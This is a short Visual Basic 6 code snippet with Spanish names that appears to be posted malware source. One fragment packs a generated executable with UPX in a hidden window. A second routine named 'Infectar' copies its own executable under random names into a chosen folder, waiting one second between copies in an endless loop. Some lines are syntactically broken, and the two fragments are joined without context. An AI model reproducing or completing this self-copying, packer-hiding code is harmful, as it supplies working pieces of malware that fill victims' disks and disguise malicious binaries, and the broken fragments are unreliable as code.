Dim order As String
Dim ruta As String
ruta = App.path & "\"
order = ruta & "upx.exe -9 " & chr(34) & ruta & chr(34) & " generado.exe"
Shell order, vbHide
 

Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
    Infectar
End Sub
 
Public Function Infectar()
    Dim Yo As String, Ruta As String
    Yo = App.Path & "\" & App.EXEName & ".exe"
    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
    Esperar (1000)
End Function
 
Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function
 
Private Function Aleatorio() As Long
    Randomize
    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function